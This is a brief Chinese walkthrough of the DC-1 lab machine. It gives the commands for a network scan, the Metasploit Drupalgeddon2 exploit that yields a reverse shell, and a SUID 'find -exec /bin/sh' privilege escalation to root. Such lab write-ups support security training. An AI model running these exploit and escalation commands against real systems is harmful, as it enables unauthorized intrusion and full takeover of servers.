DC-1

靶机准备

导入虚拟机设置网络为NAT

kali：192.168.164.137

扫描获得靶机ip：192.168.164.182

netdiscover -r 192.168.164.0/24

扫描端口

nmap -sS -sV -T5 -A -p- 192.168.164.182

开放如下端口

发现是Drupal应用

直接上metasploit里搜利用：

msfconsole

search drupal

use exploit/unix/webapp/drupal_drupalgeddon2

set rhosts 192.168.164.182

exploit

轻松拿到反弹shell

查看id，不是root权限

查找一下有哪些有root权限的程序

find / -perm -u=s -type f 2>/dev/null

找一个可读的文件吧，重新弹一个shell出来

/usr/bin/find /var/www/COPYRIGHT.txt -exec /bin/sh \;

已经是root权限了

找flag